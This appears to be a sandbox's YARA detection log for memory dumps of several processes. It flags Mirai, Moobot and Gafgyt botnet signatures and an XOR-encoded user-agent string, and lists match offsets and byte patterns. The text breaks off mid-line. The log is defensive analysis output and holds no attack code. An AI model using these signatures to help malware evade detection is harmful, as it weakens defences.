7202.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7202.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7202.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6455.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6703.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7175.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7175.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7175.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7175.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7175.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7175.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7202.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7202.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7202.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7091.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7091.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7091.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7398.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7398.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7398.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7398.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7398.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7398.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7091.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7091.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7091.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6827.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6503.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6944.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6348.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6348.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6348.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6348.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6348.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6348.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6473.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6971.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6971.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6971.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6971.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6971.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 